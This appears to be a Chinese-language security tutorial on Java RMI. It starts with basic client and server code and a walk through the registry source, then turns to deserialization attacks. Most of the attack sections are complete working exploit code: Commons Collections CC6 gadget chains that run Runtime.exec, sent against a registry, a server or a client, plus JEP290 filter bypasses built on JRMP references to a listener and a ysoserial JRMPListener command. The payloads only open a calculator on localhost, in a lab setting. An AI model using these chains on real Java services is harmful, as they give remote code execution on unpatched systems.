JAVA RMI

通信机制

概括

RMI 代码示例

<dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.2.1</version>
</dependency>

package com.lingx5;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Calculator extends Remote {
 int add(int a, int b) throws RemoteException; // 所有方法必须声明抛出RemoteException
}

package com.lingx5;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RMIimpl extends UnicastRemoteObject implements Calculator {
 private static final long serialVersionUID = 1L;
 protected RMIimpl() throws RemoteException {
 super();
 }
 @Override
 public int add(int a, int b) throws RemoteException {
 return a+b;
 }
}

package com.lingx5.RMI;
import com.lingx5.Caculatorimpl;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
 * RMI服务启动类
 * 该类的主要作用是初始化RMI注册表,并绑定一个计算器服务实现
 */
public class RMIServer {
 /**
 * 主函数
 * 尝试创建并启动RMI注册表,然后绑定计算器服务实现
 * @param args 命令行参数
 */
 public static void main(String[] args) {
 try {
 // 创建计算器服务实现实例
 Caculatorimpl caculator = new Caculatorimpl();
 // 创建RMI注册表,监听端口为1099
 Registry registry = LocateRegistry.createRegistry(1099);
 // 在注册表中绑定计算器服务实现,供远程调用
 registry.rebind("caculator", caculator);
 // 打印服务启动成功信息和RMI注册地址
 System.out.println("RMI服务已启动");
 System.out.println("RMI注册地址: rmi://127.0.0.1:1099/caculator");
 } catch (Exception e) {
 // 打印异常信息
 System.out.println(e.getMessage());
 }
 }
}

package com.lingx5.RMI;
import com.lingx5.Calculator;
import java.rmi.Naming;
/**
 * RMI客户端主类
 * 该类包含主方法,用于演示如何通过RMI调用远程计算器服务
 */
public class RMIClient {
 /**
 * 主方法
 * 尝试查找并连接到远程计算器服务,然后调用加法方法
 * @param args 命令行参数,未使用
 */
 public static void main(String[] args) {
 try {
 // 通过RMI URL查找远程计算器对象
 Calculator calculator = (Calculator) Naming.lookup("rmi://127.0.0.1:1099/caculator");
 // 调用远程计算器对象的加法方法,并接收结果
 int res = calculator.add(12, 34);
 // 打印加法方法的结果
 System.out.println(res);
 } catch (Exception e) {
 // 捕获并打印异常信息
 System.out.println(e.getMessage());
 }
 }
}

源码分析

RMIServer 服务端

远程调用类初始化调用栈

static {
 leaseCheckInterval = (Long)AccessController.doPrivileged(new GetLongAction("sun.rmi.dgc.checkInterval", leaseValue / 2L));
 scheduler = ((RuntimeUtil)AccessController.doPrivileged(new RuntimeUtil.GetInstanceAction())).getScheduler();
 AccessController.doPrivileged(new PrivilegedAction<Void>() {
 public Void run() {
 ClassLoader var1 = Thread.currentThread().getContextClassLoader();
 try {
 Thread.currentThread().setContextClassLoader(ClassLoader.getSystemClassLoader());
 try {
 DGCImpl.dgc = new DGCImpl();
 ObjID var2 = new ObjID(2);
 LiveRef var3 = new LiveRef(var2, 0);
 UnicastServerRef var4 = new UnicastServerRef(var3);
 Remote var5 = Util.createProxy(DGCImpl.class, new UnicastRef(var3), true);
 var4.setSkeleton(DGCImpl.dgc);
 Target var6 = new Target(DGCImpl.dgc, var4, var5, var2, true);
 ObjectTable.putTarget(var6);
 } catch (RemoteException var10) {
 throw new Error("exception initializing server-side DGC", var10);
 }
 } finally {
 Thread.currentThread().setContextClassLoader(var1);
 }
 return null;
 }
 });
}

注册中心调用栈

rebind 调用栈

RMIClient 客户端

获得 CalculatorImpl_Stub 存根

Naming

lookup

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
 try {
 /*
 super.ref:表示客户端与注册表服务的远程引用(RemoteRef)。
		newCall:创建一个远程调用(RemoteCall)对象,准备向注册表发送请求。
		参数 2 表示调用注册表服务的第 2 个方法(即 lookup 方法)。
 */
 RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
 try {
 ObjectOutput var3 = var2.getOutputStream();
 var3.writeObject(var1); // 序列化服务名称(如 "Calculator")
 } catch (IOException var18) {
 throw new MarshalException("error marshalling arguments", var18);
 }
 super.ref.invoke(var2); // 向注册表发送请求
 Remote var23;
 try {
 ObjectInput var6 = var2.getInputStream();
 var23 = (Remote)var6.readObject(); // 反序列化得到远程对象存根 Calculator_Stub
 } catch (IOException var15) {
 throw new UnmarshalException("error unmarshalling return", var15);
 } catch (ClassNotFoundException var16) {
 throw new UnmarshalException("error unmarshalling return", var16);
 } finally {
 super.ref.done(var2); 
 }
 return var23;
 } catch (RuntimeException var19) {
 throw var19;
 } catch (RemoteException var20) {
 throw var20;
 } catch (NotBoundException var21) {
 throw var21;
 } catch (Exception var22) {
 throw new UnexpectedException("undeclared checked exception", var22);
 }
}

/*
super.ref:表示客户端与注册表服务的远程引用(RemoteRef)。
newCall:创建一个远程调用(RemoteCall)对象,准备向注册表发送请求。
参数 2 表示调用注册表服务的第 2 个方法(即 lookup 方法)。
*/
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1); // 序列化服务名称(Calculator)
super.ref.invoke(var2); // 向注册表发送请求
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject(); // 反序列化得到远程对象存根 Calculator_Stub
super.ref.done(var2); // 释放调用资源
return var23; // 返回远程对象存根

invoke

/**
 * 执行调用操作,负责处理数据传输和响应码验证
 * 
 * 此方法的主要职责包括:
 * 1. 从输出流获取确认处理器(DGCAckHandler)
 * 2. 释放输出流(发送数据)并准备读取输入流
 * 3. 验证传输返回码和处理返回数据
 * 4. 处理异常情况,包括传输返回码无效和数据反序列化错误
 * 
 * @throws Exception 如果在执行调用过程中遇到错误,将抛出异常
 */
public void executeCall() throws Exception {
 DGCAckHandler var2 = null;
 byte var1;
 try {
 // 检查输出流是否为空,如果不为空,则获取其确认处理器
 if (this.out != null) {
 var2 = this.out.getDGCAckHandler();
 }
 /* 
 还记得我们在java.rmi.registry.Registry#lookup中invoke方法之前的逻辑吗?
 ObjectOutput var3 = var2.getOutputStream();
		var3.writeObject(var1); // 序列化服务名称(Calculator)
		数据的实际网络发送(从缓冲区到服务器),通过 releaseOutputStream() 的 this.out.flush() 实现。
 */
 this.releaseOutputStream();
 // 创建数据输入流以读取连接的输入流
 DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
 // 读取并验证传输返回码,在 RMI 协议中,81 是传输层成功的返回码。如果不是 81,则记录日志并抛出
 byte var4 = var3.readByte();
 if (var4 != 81) {
 // 如果传输返回码无效,记录日志并抛出异常
 if (Transport.transportLog.isLoggable(Log.BRIEF)) {
 Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
 }
 throw new UnmarshalException("Transport return code invalid");
 }
 // 获取输入流并读取数据
 this.getInputStream();
 var1 = this.in.readByte();
 this.in.readID();
 } catch (UnmarshalException var11) {
 // 处理数据反序列化异常
 throw var11;
 } catch (IOException var12) {
 // 处理I/O异常,包装为UnmarshalException
 throw new UnmarshalException("Error unmarshaling return header", var12);
 } finally {
 // 确保在最后释放确认处理器
 if (var2 != null) {
 var2.release();
 }
 }
 // 根据读取的字节值执行相应的操作
 switch (var1) {
 case 1: // var1 为 1,表示服务器成功执行了方法且无异常。
 return;
 case 2: // var1 为 2,表示服务器抛出了异常。
 Object var14;
 try {
 // 这里抛出异常后,他对异常进行了反序列化。这里也有可能成为被攻击的点。
 var14 = this.in.readObject();
 } catch (Exception var10) {
 // 处理反序列化错误
 throw new UnmarshalException("Error unmarshaling return", var10);
 }
 // 验证返回对象的类型
 if (!(var14 instanceof Exception)) {
 throw new UnmarshalException("Return type not Exception");
 } else {
 // 处理从服务器接收到的异常
 this.exceptionReceivedFromServer((Exception)var14);
 }
 default:
 // 如果返回码无效,记录日志并抛出异常
 if (Transport.transportLog.isLoggable(Log.BRIEF)) {
 Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
 }
 throw new UnmarshalException("Return code invalid");
 }
}

TCP 连接接收 (TCPTransport$AcceptLoop) =>
TCP 连接处理 (TCPTransport$ConnectionHandler) =>
RMI 传输层消息处理 (Transport.handleMessages => Transport.serviceCall) =>
远程调用执行 (StreamRemoteCall.executeCall) =>
服务端引用分发 (UnicastServerRef.dispatch => UnicastServerRef.oldDispatch) =>
Registry 骨架分发 (RegistryImpl_Skel.dispatch) =>
Registry 业务逻辑执行 (RegistryImpl.lookup)

总结一下

客户端通信

package com.lingx5.RMI;
import com.lingx5.Calculator;
import java.rmi.Naming;
public class RMIClient {
 public static void main(String[] args) {
 try {
 // 通过RMI URL查找远程计算器对象
 Calculator calculator = (Calculator) Naming.lookup("rmi://127.0.0.1:1099/caculator");
 System.out.println(calculator.sayHello("lingx5"));
 } catch (Exception e) {
 System.out.println(e.getMessage());
 }
 }
}

我们大概的梳理一下

calculator.sayHello("lingx5") => Calculator_Stub.sayHello(String name) => 
java.rmi.server.RemoteObjectInvocationHandler#invoke => sun.rmi.server.UnicastRef#marshalValue 序列化
=> sun.rmi.transport.StreamRemoteCall#executeCall 发送请求
底层就是Transport负责socket网络通信
sun.rmi.transport.Transport.invoke(RemoteCall call) => sun.rmi.transport.Transport.doCall(RemoteCall call) => java.net.Socket.getOutputStream() => java.io.ObjectOutputStream.writeObject() (序列化并发送数据)

TCP 连接接收 (TCPTransport$AcceptLoop) => TCP 连接处理 (TCPTransport$ConnectionHandler) => RMI 传输层消息处理 (Transport.handleMessages => Transport.serviceCall) => 远程调用执行 (StreamRemoteCall.executeCall)
=> sun.rmi.server.UnicastServerRef#oldDispatch => sun.rmi.server.UnicastServerRef#dispatch => Calculator_Skel.dispatch 将参数反序列化 => CalculatorImpl.sayHello(String name)返回结果 => Calculator_Skel.dispatch 序列化结果 => StreamRemoteCall.executeCall 发送给客户端

反序列化攻击

客户端攻击注册中心(服务端)

package com.lingx5.RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
public class expRegisterServer {
 protected expRegisterServer() throws RemoteException {
 }
 public static void main(String[] args) throws Exception {
 // 创建Transform数组,构造CC6链条
 Transformer[] transforms = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
 LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(),new ConstantTransformer(null));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"lingx5");
 HashMap<Object, Object> HashMap = new HashMap<>();
 HashMap.put(tiedMapEntry,"lingx5");
 Field factory = LazyMap.class.getDeclaredField("factory");
 factory.setAccessible(true);
 factory.set(lazyMap,chainedTransformer);
 lazyMap.remove("lingx5");
 // 反射创建代理
 Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
 constructor.setAccessible(true);
 InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(java.lang.annotation.Retention.class, HashMap);
 Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));
 Registry registry = LocateRegistry.createRegistry(1099);
 Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);
 registry_remote.bind("exp",remote);
 }
}

package com.lingx5.RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.util.HashMap;
public class expLookup {
 public static void main(String[] args) throws Exception{
 Transformer[] transforms = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
 LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(),new ConstantTransformer(null));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"lingx5");
 HashMap<Object, Object> HashMap = new HashMap<>();
 HashMap.put(tiedMapEntry,"lingx5");
 Field factory = LazyMap.class.getDeclaredField("factory");
 factory.setAccessible(true);
 factory.set(lazyMap,chainedTransformer);
 lazyMap.remove("lingx5");
 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
 constructor.setAccessible(true);
 constructor.newInstance(java.lang.annotation.Retention.class,HashMap);
 // 创建注册中心
 Registry registry = LocateRegistry.createRegistry(1099);
 Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);
 // 获取super.ref registry_remote为RegistryImpl_Stub对象,直接父类是RemoteStub,而ref实在RemoteStub的父类RemoteObject中定义的
 Field ref = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
 ref.setAccessible(true);
 UnicastRef remoteRefe = (UnicastRef) ref.get(registry_remote);
 Field declaredField = registry_remote.getClass().getDeclaredFields()[0];
 declaredField.setAccessible(true);
 Operation[] operations = (Operation[]) declaredField.get(registry_remote);
 // 跟着lookup的逻辑,执行newCall方法,2代表lookup方法
 RemoteCall remoteCall = remoteRefe.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
 // 写入序列化的恶意代码
 ObjectOutput outputStream = remoteCall.getOutputStream();
 outputStream.writeObject(HashMap);
 remoteRefe.invoke(remoteCall);
 }
}

客户端攻击服务端

package com.lingx5.RMI;
import com.lingx5.Calculator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
public class c2sExp {
 public static void main(String[] args) throws Exception{
 Transformer[] transforms = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
 LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(),new ConstantTransformer(null));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"lingx5");
 HashMap<Object, Object> HashMap = new HashMap<>();
 HashMap.put(tiedMapEntry,"lingx5");
 Field factory = LazyMap.class.getDeclaredField("factory");
 factory.setAccessible(true);
 factory.set(lazyMap,chainedTransformer);
 lazyMap.remove("lingx5");
 Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);
 Calculator calculator = (Calculator) registry_remote.lookup("caculator");
 calculator.sayGood(HashMap);
 }
}

服务端攻击客户端

1、返回恶意的 stub

package com.lingx5.RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class EvilRMIRegistry {
 public static void main(String[] args) throws Exception {
 // 1. 构造命令执行链
 Transformer[] transforms = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[]{String.class, Class[].class},
 new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke",
 new Class[]{Object.class, Object[].class},
 new Object[]{null, null}),
 new InvokerTransformer("exec",
 new Class[]{String.class},
 new Object[]{"calc.exe"}) // 弹出计算器
 };
 ChainedTransformer chain = new ChainedTransformer(transforms);
 // 2. 创建 LazyMap 并设置触发键
 LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lingx5");
 Map<Object, Object> map = new HashMap<>();
 map.put(tiedMapEntry, "lingx5");
 // 3. 反射修改 LazyMap 的 factory 为恶意链
 Field factoryField = LazyMap.class.getDeclaredField("factory");
 factoryField.setAccessible(true);
 factoryField.set(lazyMap, chain);
 lazyMap.remove("lingx5");
 // 4. 创建 AnnotationInvocationHandler 代理
 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
 constructor.setAccessible(true);
 InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, map);
 // 5. 创建动态代理对象(使用 Retention 接口)
 Class<?> retentionClass = Retention.class;
 Remote remoteProxy = (Remote) Proxy.newProxyInstance(
 retentionClass.getClassLoader(),
 new Class[]{Remote.class, retentionClass}, // 实现 Remote 和 Retention 接口
 handler
 );
 // 6. 启动 RMI 注册中心
 Registry registry = LocateRegistry.createRegistry(1099);
 // 7. 反射注入恶意对象到注册中心的 bindings
 Field bindingsField = registry.getClass().getDeclaredField("bindings");
 bindingsField.setAccessible(true);
 Map<String, Remote> bindings = (Map<String, Remote>) bindingsField.get(registry);
 bindings.put("exploit", remoteProxy); // 绑定恶意对象到名称 "exploit"
 // registry.bind("exploit", remoteProxy);
 System.out.println("RMI 注册中心已启动");
 // 保持注册中心运行
 Thread.currentThread().join();
 }
}

package com.lingx5.RMI;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
 public static void main(String[] args) throws Exception {
 Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
 registry.lookup("exploit"); // 触发反序列化漏洞
 }
}

2、返回恶意结果

@Override
public Object getObject() throws RemoteException {
 // 创建Transform数组,构造CC6链条
 HashMap<Object, Object> hashMap = new HashMap<>();
 try {
 Transformer[] transforms = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
 LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lingx5");
 hashMap.put(tiedMapEntry, "lingx5");
 Field factory = LazyMap.class.getDeclaredField("factory");
 factory.setAccessible(true);
 factory.set(lazyMap, chainedTransformer);
 lazyMap.remove("lingx5");
 } catch (Exception e) {
 e.printStackTrace();
 }
 return hashMap;
}

JEP290

JEP290 机制

jdk 支持 JEP290 的版本

三月 08, 2025 9:03:14 上午 java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 281, ex: n/a

ObjectInputFilter 工作流程

private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo filterInfo) {
 if (registryFilter != null) {
 ObjectInputFilter.Status status = registryFilter.checkInput(filterInfo);
 if (status != ObjectInputFilter.Status.UNDECIDED) {
 // The Registry filter can override the built-in white-list
 return status;
 }
 }
 if (filterInfo.depth() > REGISTRY_MAX_DEPTH) {
 return ObjectInputFilter.Status.REJECTED;
 }
 Class<?> clazz = filterInfo.serialClass();
 if (clazz != null) {
 if (clazz.isArray()) {
 // Arrays are REJECTED only if they exceed the limit
 return (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > REGISTRY_MAX_ARRAY_SIZE)
 ? ObjectInputFilter.Status.REJECTED
 : ObjectInputFilter.Status.UNDECIDED;
 }
 if (String.class == clazz
 || java.lang.Number.class.isAssignableFrom(clazz)
 || Remote.class.isAssignableFrom(clazz)
 || java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
 || UnicastRef.class.isAssignableFrom(clazz)
 || RMIClientSocketFactory.class.isAssignableFrom(clazz)
 || RMIServerSocketFactory.class.isAssignableFrom(clazz)
 || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
 || java.rmi.server.UID.class.isAssignableFrom(clazz)) {
 return ObjectInputFilter.Status.ALLOWED;
 } else {
 return ObjectInputFilter.Status.REJECTED;
 }
 }
 return ObjectInputFilter.Status.UNDECIDED;
}

RMI 拦截流程

registryFilter:438, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1198108795 (sun.rmi.registry.RegistryImpl$$Lambda4ドル)
filterCheck:1317, ObjectInputStream (java.io)
readNonProxyDesc:1998, ObjectInputStream (java.io)
readClassDesc:1852, ObjectInputStream (java.io)
readOrdinaryObject:2186, ObjectInputStream (java.io)
readObject0:1669, ObjectInputStream (java.io)
defaultReadFields:2431, ObjectInputStream (java.io)
readSerialData:2355, ObjectInputStream (java.io)
readOrdinaryObject:2213, ObjectInputStream (java.io)
readObject0:1669, ObjectInputStream (java.io)
readObject:503, ObjectInputStream (java.io)
readObject:461, ObjectInputStream (java.io)
dispatch:91, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport1ドル (sun.rmi.transport)
run:197, Transport1ドル (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run0ドル:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 398728446 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda5ドル)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:750, Thread (java.lang)

Bypass JEP290

利用 Object 参数

白名单绕过

 java.lang.Number.class
 || Remote.class
 || java.lang.reflect.Proxy.class
 || UnicastRef.class
 || RMIClientSocketFactory.class
 || RMIServerSocketFactory.class
 || java.rmi.activation.ActivationID.class
 || java.rmi.server.UID.class

8u121-8u230

RemoteObject 类

DGC 的核心思想

DGC 工作流程主要包含这几种操作:

复现

java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 'calc'

package com.lingx5.RMI;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.Endpoint;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class bypassJEP {
 public static void main(String[] args) throws Exception {
 // 创建一个Endpoint对象,指定恶意主机和端口号
 Endpoint endpoint = new TCPEndpoint("127.0.0.1",9999);
 // 封装为一个LiveRef对象
 LiveRef liveRef = new LiveRef(new ObjID(new Random().nextInt()), endpoint, false);
 // 封装为UnicastRef对象
 UnicastRef unicastRef = new UnicastRef(liveRef);
 // 封装为白名单的RemoteObjectInvocationHandler对象
 RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
 // 拿到RegistryStub对象
 Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
 registry.bind("bypass", handler);
 }
}

8u231-8u240

package com.lingx5.RMI;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.util.Random;
public class bypassJEP8u231 {
 public static void main(String[] args) throws Exception {
 // 拿到registryStub对象
 Registry registry_Stub = LocateRegistry.getRegistry("127.0.0.1", 1099);
 /*
 重写 bind方法
 */
 // 反射获取registryStub对象的operations字段
 Field f = registry_Stub.getClass().getDeclaredFields()[0];
 f.setAccessible(true);
 Operation[] operations = (Operation[]) f.get(registry_Stub);
 // 获取registryStub对象的ref字段
 Field ref_filed = RemoteObject.class.getDeclaredField("ref");
 ref_filed.setAccessible(true);
 UnicastRef ref = (UnicastRef) ref_filed.get(registry_Stub);
 RemoteCall remoteCall = ref.newCall((RemoteObject) registry_Stub, operations, 2, 4905912898345647071L);
 ObjectOutput outputStream = remoteCall.getOutputStream();
 Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
 enableReplace_filed.setAccessible(true);
 enableReplace_filed.setBoolean(outputStream, false);
 outputStream.writeObject("lingx5");
 outputStream.writeObject(getPayload()); // 发送payload
 ref.invoke(remoteCall);
 ref.done(remoteCall);
 }
 static UnicastRemoteObject getPayload(){
 UnicastRemoteObject unicastRemoteObject =null;
 try {
 // 创建一个TCPEndpoint对象,指定恶意主机的IP地址和端口号
 TCPEndpoint endpoint = new TCPEndpoint("127.0.0.1", 9999);
 LiveRef liveRef = new LiveRef(new ObjID(new Random().nextInt()), endpoint, false);
 UnicastRef unicastRef = new UnicastRef(liveRef);
 // 允许保存动态代理生成的类文件
 System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
 // 动态代理:创建一个实现RMIServerSocketFactory和Remote接口的代理对象
 RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
 RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(handler.getClass().getClassLoader(),
 new Class[]{RMIServerSocketFactory.class,Remote.class},handler);
 Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
 constructor.setAccessible(true);
 unicastRemoteObject = constructor.newInstance();
 // 反射修改ssf的值
 Field declaredField = unicastRemoteObject.getClass().getDeclaredField("ssf");
 declaredField.setAccessible(true);
 declaredField.set(unicastRemoteObject,factory);
 } catch (Exception e) {
 System.out.println(e.getMessage());
 }
 return unicastRemoteObject;
 }
}

总结

参考文章